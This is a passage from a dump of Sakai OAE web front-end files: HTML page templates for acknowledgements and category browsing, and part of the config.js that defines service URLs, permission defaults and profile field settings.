<li>__MSG__SAKAI_NAKAMURA_CALENDAR_BASED_EVENTS_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CAPTCHA_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CHAT_SERVICES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CONFIGURATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CONNECTIONS_MANAGEMENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DATABASE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DISCUSSION_MANAGEMENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DOCUMENT_PROXY__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DOCUMENTATION_SUPPORT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_FILES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_FORM_AUTH_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_GOOGLE_COLLECTIONS__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_HTTP_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_IMAGE_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JAVAX_ACTIVATION_AND_MAIL_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JAXP_API_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JCR_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JSON_LIB_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_LOCKING_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ME_SERVICE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MEMORY_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MESSAGING_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MODEL_DIRECTORY__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_OSGI_TO_JMS_EVENTS_BRIDGE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_OUTGOING_EMAIL_SENDER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PAGES_STRUCTURED_CONTENT__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PERSONAL_SPACE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PRESENCE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PROFILE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PROXY_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SAKAI_CLUSTER_TRACKING__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SEARCH_SUPPORT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SECURITY_LOADER_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SITE_SERVICE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SLING_RESOURCE_EXTENSION BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SMTP_SERVER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SOLR_BASED_SEARCH_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SPARSE_MAP_CONTENT_STORAGE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TEMPLATES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TIKA_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TRUSTED_AUTHENTICATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_USER_EXTENSIONS_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_UTILITIES__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_VERSION_EXTENSION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_WOODSTOX_STAX__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_WORLD_SUPPORT__</li>\n                      </ul>\n                  </div>\n\n                  <span>__MSG__COPYRIGHT_THE_SAKAI_FOUNDATION__</span>\n              </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"s3d-page-main-content\" class=\"s3d-page-content-padding\">\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/acknowledgements.js\"]);</script>\n    </body>\n</html>\n", "dev/allcategories.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_navigation\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ALL_CATEGORIES__</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"explore_content\">\n                <div id=\"widget_allcategories\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"s3d-bottom-spacer\"></div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/allcategories.js\"]);</script>\n    </body>\n</html>", "dev/category.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.category.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n        <div style=\"display:none\">__MSG__IE_PLACEHOLDER__</div>\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_navigation\"></div>\n                    <div id=\"explore_navigation_template\"><!--\n                    <div class=\"s3d-contentpage-title\">\n                        {for crumb in breadcrumb}\n                            {if crumb_index != 0}\n                            <span>&nbsp;/&nbsp;</span>\n                            {/if}\n                            {if crumb.link}\n                                <a href=\"{if crumb.url}${crumb.url} {else} #l=${crumb.id}{/if}\" class=\"s3d-bold s3d-regular-links\">\n                            {/if}\n\n                            ${crumb.title}\n\n                            {if crumb.link}\n                                </a>\n                            {/if}\n                        {/for}\n                        </div>\n                    --></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div class=\"s3d-page-column-left\">\n                <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div  class=\"s3d-page-column-right\">\n                <div id=\"s3d-page-main-content\"></div>\n                <div class=\"s3d-bottom-spacer\"></div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/category.js\"]);</script>\n    </body>\n</html>", "dev/configuration/config.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\ndefine(function(){\n    var config = {\n        URL: {\n            // Static URLs\n            GATEWAY_URL: \"/\",\n            GROUP_DEFAULT_ICON_URL: \"/dev/images/group_avatar_icon_64x64_nob.png\",\n            GROUP_DEFAULT_ICON_URL_LARGE: \"/dev/images/group_avatar_icon_100x100_nob.png\",\n            I10N_BUNDLE_URL: \"/dev/lib/misc/l10n/cultures/globalize.culture.__CODE__.js\",\n            I18N_BUNDLE_ROOT: \"/dev/bundle/\",\n            INBOX_URL: \"/me#l=messages/inbox\",\n            INVITATIONS_URL: \"/me#l=messages/invitations\",\n            LOGOUT_URL: \"/logout\",\n            MY_DASHBOARD_URL: \"/me#l=dashboard\",\n            PROFILE_EDIT_URL: \"/me#l=profile/basic\",\n            SEARCH_ACTIVITY_ALL_URL: \"/var/search/activity/all.json\",\n            SEARCH_URL: \"/search\",\n            TINY_MCE_CONTENT_CSS: \"/dev/css/FSS/fss-base.css,/dev/css/sakai/main.css,/dev/css/sakai/sakai.corev1.css,/dev/css/sakai/sakai.base.css,/dev/css/sakai/sakai.editor.css,/dev/css/sakai/sakai.content_profile.css\",\n            USER_DEFAULT_ICON_URL: \"/dev/images/default_User_icon_50x50.png\",\n            USER_DEFAULT_ICON_URL_LARGE: \"/dev/images/default_User_icon_100x100.png\",\n            INFINITE_LOADING_ICON: \"/dev/images/Infinite_Scrolling_Loader_v01.gif\",\n\n            // Services\n            BATCH: \"/system/batch\",\n            CAPTCHA_SERVICE: \"/system/captcha\",\n            CONTACTS_FIND: \"/var/contacts/find.json\",\n            CONTACTS_FIND_STATE: \"/var/contacts/findstate.json\",\n            CONTACTS_FIND_ALL: \"/var/contacts/find-all.json\",\n            CREATE_USER_SERVICE: \"/system/userManager/user.create.html\",\n            DISCUSSION_GETPOSTS_THREADED: \"/var/search/discussions/threaded.json?path=__PATH__&marker=__MARKER__\",\n            GOOGLE_CHARTS_API: \"http://chart.apis.google.com/chart\",\n            GROUP_CREATE_SERVICE: \"/system/userManager/group.create.json\",\n            GROUPS_MANAGER: \"/system/me/managedgroups.json\",\n            GROUPS_MEMBER: \"/system/me/groups.json\",\n            IMAGE_SERVICE: \"/var/image/cropit\",\n            LOGIN_SERVICE: \"/system/sling/formlogin\",\n            LOGOUT_SERVICE: \"/system/sling/logout?resource=/index\",\n            ME_SERVICE: \"/system/me\",\n            MESSAGE_BOX_SERVICE: \"/var/message/box.json\",\n            MESSAGE_BOXCATEGORY_SERVICE: \"/var/message/boxcategory.json\",\n            MESSAGE_BOXCATEGORY_ALL_SERVICE: \"/var/message/boxcategory-all.json\",\n            POOLED_CONTENT_MANAGER: \"/var/search/pool/me/manager.json\",\n            POOLED_CONTENT_MANAGER_ALL: \"/var/search/pool/me/manager-all.json\",\n            POOLED_CONTENT_VIEWER: \"/var/search/pool/me/viewer.json\",\n            POOLED_CONTENT_VIEWER_ALL: \"/var/search/pool/me/viewer-all.json\",\n            POOLED_CONTENT_SPECIFIC_USER: \"/var/search/pool/manager-viewer.json\",\n            POOLED_CONTENT_ACTIVITY_FEED: \"/var/search/pool/activityfeed.json\",\n            PRESENCE_SERVICE: \"/var/presence.json\",\n            SAKAI2_TOOLS_SERVICE: \"/var/proxy/s23/site.json?siteid=__SITEID__\",\n            WORLD_CREATION_SERVICE: \"/system/world/create\",\n            WORLD_INFO_URL: \"/var/templates/worlds.2.json\",\n\n            // Replace these in widgets with proper widgetsave functions from magic\n            SEARCH_ALL_ENTITIES: \"/var/search/general.json\",\n            SEARCH_ALL_ENTITIES_ALL: \"/var/search/general-all.json\",\n            SEARCH_ALL_FILES: \"/var/search/pool/all.json\",\n            SEARCH_ALL_FILES_ALL: \"/var/search/pool/all-all.json\",\n            SEARCH_MY_BOOKMARKS: \"/var/search/files/mybookmarks.json\",\n            SEARCH_MY_BOOKMARKS_ALL: \"/var/search/files/mybookmarks-all.json\",\n            SEARCH_MY_CONTACTS: \"/var/search/files/mycontacts.json\",\n            SEARCH_MY_FILES: \"/var/search/files/myfiles.json\",\n            SEARCH_MY_FILES_ALL: \"/var/search/files/myfiles-all.json\",\n            SEARCH_GROUP_MEMBERS: \"/var/search/groupmembers.json\",\n            SEARCH_GROUP_MEMBERS_ALL: \"/var/search/groupmembers-all.json\",\n            SEARCH_GROUPS: \"/var/search/groups.infinity.json\",\n            SEARCH_GROUPS_ALL: \"/var/search/groups-all.json\",\n            SEARCH_USERS_ACCEPTED: \"/var/contacts/findstate.infinity.json\",\n            SEARCH_USERS: \"/var/search/users.infinity.json\",\n            SEARCH_USERS_ALL: \"/var/search/users-all.json\",\n            SEARCH_USERS_GROUPS: \"/var/search/usersgroups.json\",\n            SEARCH_USERS_GROUPS_ALL: \"/var/search/usersgroups-all.json\",\n            USER_CHANGEPASS_SERVICE: \"/system/userManager/user/__USERID__.changePassword.html\",\n            USER_EXISTENCE_SERVICE: \"/system/userManager/user.exists.html?userid=__USERID__\"\n        },\n\n        PageTitles: {\n            \"prefix\": \"TITLE_PREFIX\",\n            \"pages\": {\n                /**  403.html  **/\n                /**  404.html  **/\n                /**  500.html  **/\n                /**  account_preferences.html  **/\n                \"/dev/account_preferences.html\": \"ACCOUNT_PREFERENCES\",\n                \"/preferences\": \"ACCOUNT_PREFERENCES\",\n                /**  acknowledgements.html  **/\n                \"/dev/acknowledgements.html\": \"ACKNOWLEDGEMENTS\",\n                \"/acknowledgements\": \"ACKNOWLEDGEMENTS\",\n                /**  allcategories.html  **/\n                \"/categories\": \"BROWSE_ALL_CATEGORIES\",\n                \"/dev/allcategories.html\": \"BROWSE_ALL_CATEGORIES\",\n                /**  category.html  **/\n                /**  content_profile.html  **/\n                \"/dev/content_profile.html\": \"CONTENT_PROFILE\",\n                \"/content\": \"CONTENT_PROFILE\",\n                /**  create_new_account.html  **/\n                \"/dev/create_new_account.html\": \"CREATE_A_NEW_ACCOUNT\",\n                \"/register\": \"CREATE_A_NEW_ACCOUNT\",\n                /**  explore.html  **/\n                \"/\": \"EXPLORE\",\n                \"/dev\": \"EXPLORE\",\n                \"/dev/\": \"EXPLORE\",\n                \"/index.html\": \"EXPLORE\",\n                \"/dev/explore.html\": \"EXPLORE\",\n                \"/index\": \"EXPLORE\",\n                /**  logout.html  **/\n                \"/dev/logout.html\": \"LOGGING_OUT\",\n                \"/logout\": \"LOGGING_OUT\",\n                /**  search.html  **/\n                \"/dev/search.html\": \"SEARCH\",\n                \"/search\": \"SEARCH\",\n                /**  createnew.html  **/\n                \"/create\": \"CREATE\"\n            }\n        },\n\n        ErrorPage: {\n            /*\n             * These links are displayed in the 403 and 404 error pages.\n             */\n            Links: {\n                whatToDo: [{\n                    \"title\": \"EXPLORE_THE_INSTITUTION\",\n                    \"url\": \"/index\"\n                }, {\n                    \"title\": \"BROWSE_INSTITUTION_CATEGORIES\",\n                    \"url\": \"/categories\"\n                }, {\n                    \"title\": \"VIEW_THE_INSTITUTION_WEBSITE\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }, {\n                    \"title\": \"VISIT_THE_SUPPORT_FORUM\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }],\n                getInTouch: [{\n                    \"title\": \"SEND_US_YOUR_FEEDBACK\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }, {\n                    \"title\": \"CONTACT_SUPPORT\",\n                    \"url\": \"http://sakaiproject.org/\"\n                }]\n            }\n        },\n\n        Domain: {\n            /*\n             * These domain labels can be used anywhere on the site (i.e in the video\n             * widget) to convert common domains into shorter, more readable labels\n             * for display purposes.\n             */\n            Labels: {\n                \"youtube.com\": \"YouTube\",\n                \"www.youtube.com\": \"YouTube\",\n                \"youtube.co.uk\": \"YouTube\",\n                \"www.youtube.co.uk\": \"YouTube\",\n                \"vimeo.com\": \"Vimeo\",\n                \"www.vimeo.com\": \"Vimeo\",\n                \"vimeo.co.uk\": \"Vimeo\",\n                \"www.vimeo.co.uk\": \"Vimeo\",\n                \"video.google.com\": \"Google Video\"\n            }\n        },\n\n        SakaiDomain: window.location.protocol + \"//\" + window.location.host,\n\n        Permissions: {\n            /*\n             * A collection of permission keys and range of values to be referenced\n             * for making permissions decisions. The values of properties are only\n             * for reference, may not match designs and are not to be placed in the\n             * UI (message bundles should be used to match up-to-date designs).\n             */\n            Groups: {\n                joinable: {\n                    \"manager_add\": \"no\", // Managers add people\n                    \"user_direct\": \"yes\", // People can automatically join\n                    \"user_request\": \"withauth\" // People request to join\n                },\n                visible: {\n                    \"members\": \"members-only\", // Group members only (includes managers)\n                    \"allusers\": \"logged-in-only\", // All logged in users\n                    \"public\": \"public\" // Anyone on the Internet\n                },\n                \"defaultaccess\": \"public\", // public, logged-in-only or members-only (see above for role description)\n                \"defaultjoin\": \"yes\", // no, yes, or withauth (see above for descriptions)\n                \"addcontentmanagers\": true // true, false. If set to yes, group managers will be added as manager for a file \n                                           // added to a group library in context of that group\n            },\n            Content: {\n                /*\n                 * public - anyone\n                 * everyone - logged in users\n                 * private - private\n                 */\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Documents: {\n                /*\n                 * public - anyone\n                 * everyone - logged in users\n                 * private - private\n                 */\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Links: {\n                \"defaultaccess\": \"public\" // public, everyone or private (see above for role description)\n            },\n            Copyright: {\n                types: {\n                    \"creativecommons\": {\n                        \"title\": \"CREATIVE_COMMONS_LICENSE\"\n                    },\n                    \"copyrighted\": {\n                        \"title\": \"COPYRIGHTED\"\n                    },\n                    \"nocopyright\": {\n                        \"title\": \"NO_COPYRIGHT\"\n                    },\n                    \"licensed\": {\n                        \"title\": \"LICENSED\"\n                    },\n                    \"waivecopyright\": {\n                        \"title\": \"WAIVE_COPYRIGHT\"\n                    }\n                },\n                defaults: {\n                    \"content\": \"creativecommons\",\n                    \"sakaidocs\": \"creativecommons\",\n                    \"links\": \"creativecommons\",\n                    \"collections\": \"creativecommons\"\n                }\n            }\n        },\n\n        allowPasswordChange: true,\n\n        Profile: {\n            /*\n             * This is a collection of profile configuration functions and settings\n             * The structure of the config object is identical to the storage object\n             * When system/me returns profile data for the logged in user the profile_config and profile_data objects could be merged\n             * \"label\": the internationalizable message for the entry label in HTML\n             * \"required\": {Boolean} Whether the entry is compulsory or not\n             * \"display\": {Boolean} Show the entry in the profile or not\n             * \"editable\": {Boolean} Whether or not the entry is editable\n             * For a date entry field use \"date\" as the type for MM/dd/yyyy and \"dateITA\" as the type for dd/MM/yyyy\n             *\n             */\n            configuration: {\n\n                defaultConfig: {\n\n                    \"basic\": {\n                        \"label\": \"__MSG__PROFILE_BASIC_LABEL__\",\n                        \"required\": true,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": false,\n                        \"permission\": \"anonymous\",\n                        \"order\": 0,\n                        \"elements\": {\n                            \"firstName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_FIRSTNAME_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_FIRSTNAME_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"limitDisplayWidth\": 300\n                            },\n                            \"lastName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_LASTNAME_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_LASTNAME_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"limitDisplayWidth\": 300\n                            },\n                            \"picture\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_PICTURE_LABEL__\",\n                                \"required\": false,\n                                \"display\": false\n                            },\n                            \"preferredName\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_PREFERREDNAME_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"email\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_EMAIL_LABEL__\",\n                                \"errorMessage\": \"__MSG__PROFILE_BASIC_EMAIL_ERROR__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"validation\": \"email\"\n                            },\n                            \"status\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_STATUS_LABEL__\",\n                                \"required\": false,\n                                \"display\": false\n                            },\n                            \"role\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_ROLE_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"select\",\n                                \"select_elements\": {\n                                    \"academic_related_staff\": \"__MSG__PROFILE_BASIC_ROLE_ACADEMIC_RELATED_STAFF_LABEL__\",\n                                    \"academic_staff\": \"__MSG__PROFILE_BASIC_ROLE_ACADEMIC_STAFF_LABEL__\",\n                                    \"assistent_staff\": \"__MSG__PROFILE_BASIC_ROLE_ASSISTENT_STAFF_LABEL__\",\n                                    \"graduate_student\": \"__MSG__PROFILE_BASIC_ROLE_GRADUATE_STUDENT_LABEL__\",\n                                    \"undergraduate_student\": \"__MSG__PROFILE_BASIC_ROLE_UNDERGRADUATE_STUDENT_LABEL__\",\n                                    \"non_academic_staff\": \"__MSG__PROFILE_BASIC_ROLE_NON_ACADEMIC_STAFF_LABEL__\",\n                                    \"postgraduate_student\": \"__MSG__PROFILE_BASIC_ROLE_POSTGRADUATE_STUDENT_LABEL__\",\n                                    \"research_staff\": \"__MSG__PROFILE_BASIC_ROLE_RESEARCH_STAFF_LABEL__\",\n                                    \"other\": \"__MSG__PROFILE_BASIC_ROLE_OTHER_LABEL__\"\n                                }\n                            },\n                            \"department\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_DEPARTMENT_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"college\": {\n                                \"label\": \"__MSG__PROFILE_BASIC_COLLEGE_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"tags\": {\n                                \"label\": \"__MSG__TAGS_AND_CATEGORIES__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"tags\",\n                                \"tagField\": true\n                            }\n                        }\n                    },\n                    \"aboutme\": {\n                        \"label\": \"__MSG__PROFILE_ABOUTME_LABEL__\",\n                        \"required\": true,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": true,\n                        \"permission\": \"anonymous\",\n                        \"order\": 1,\n                        \"elements\": {\n                            \"aboutme\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"academicinterests\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_ACADEMICINTERESTS_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"personalinterests\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_PERSONALINTERESTS_LABEL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"type\": \"textarea\"\n                            },\n                            \"hobbies\": {\n                                \"label\": \"__MSG__PROFILE_ABOUTME_HOBBIES_LABEL__\",\n                                \"required\": false,\n                                \"display\": true\n                            }\n                        }\n                    },\n                    \"publications\": {\n                        \"label\": \"__MSG__PROFILE_PUBLICATIONS_LABEL__\",\n                        \"required\": false,\n                        \"display\": true,\n                        \"access\": \"everybody\",\n                        \"modifyacl\": true,\n                        \"permission\": \"anonymous\",\n                        \"multiple\": true,\n                        \"multipleLabel\": \"__MSG__PROFILE_PUBLICATION_LABEL__\",\n                        \"order\": 2,\n                        //\"template\": \"profile_section_publications_template\",\n                        \"elements\": {\n                            \"maintitle\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_TITLE__\",\n                                \"required\": true,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_TITLE_EXAMPLE__\"\n                            },\n                            \"mainauthor\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_MAIN_AUTHOR__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"coauthor\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_CO_AUTHOR__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_CO_AUTHOR_EXAMPLE__\"\n                            },\n                            \"publisher\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_PUBLISHER__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"placeofpublication\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_PLACE_OF_PUBLICATION__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"volumetitle\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_TITLE__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"volumeinformation\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_INFORMATION__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"example\": \"__MSG__PROFILE_PUBLICATIONS_VOLUME_INFORMATION_EXAMPLE__\"\n                            },\n                            \"year\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_YEAR__\",\n                                \"required\": true,\n                                \"display\": true\n                            },\n                            \"number\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_NUMBER__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"series title\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_SERIES_TITLE__\",\n                                \"required\": false,\n                                \"display\": true\n                            },\n                            \"url\": {\n                                \"label\": \"__MSG__PROFILE_PUBLICATIONS_URL__\",\n                                \"required\": false,\n                                \"display\": true,\n                                \"validation\": \"appendhttp url\"\n                            }\n                        }\n                    }\n                }\n            },\n            /*\n             * set what name to display where only the first name is used\n             */\n            userFirstNameDisplay: \"firstName\",\n\n            /*\n             * set how the user's name is displayed across the entire system\n             * - values can be compound, like \"firstName lastName\" or singular like \"displayName\"\n             */\n            userNameDisplay: \"firstName lastName\",\n\n            /*\n             * the default, if the user doesn't have the userNameDisplay property set in their\n             * profile, use this one.\n             * Note: the value for userNameDisplay and this value can be the same.\n             *       If neither exists, nothing will show\n             */\n            userNameDefaultDisplay: \"firstName lastName\",\n\n            /*\n             * Set the default user settings in account preferences for automatic tagging\n             * and auto-tagged notifications\n             */\n            defaultAutoTagging: true,\n            defaultSendTagMsg: true\n        },\n\n        Groups: {\n            /*\n             * Email message that will be sent to group managers when a user requests\n             * to join their group.\n             * ${user} will be replaced by the name of the requesting user and ${group}\n             * will be replaced with the group name.\n             */\n            JoinRequest: {\n                title: \"${user} has requested to join your group: ${group}\",\n                body: \"${user} has requested to join your group: ${group}. Use the links below to respond to this request.\"\n            }\n        },\n\n        Relationships: {\n            /*\n             * Relationships used by the add contacts widget to define what relationship the contacts can have\n             */\n            \"contacts\": [{\n                \"name\": \"__MSG__CLASSMATE__\",\n                \"definition\": \"__MSG__IS_MY_CLASSMATE__\",\n                \"selected\": true\n            }, {\n                \"name\": \"__MSG__SUPERVISOR__\",\n                \"inverse\": \"__MSG__SUPERVISED__\",\n                \"definition\": \"__MSG__IS_MY_SUPERVISOR__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__SUPERVISED__\",\n                \"inverse\": \"__MSG__SUPERVISOR__\",\n                \"definition\": \"__MSG__IS_SUPERVISED_BY_ME__\",\n                \"selected\": false\n            }, {\n                \"name\": \"__MSG__LECTURER__\",\n                \"inverse\": 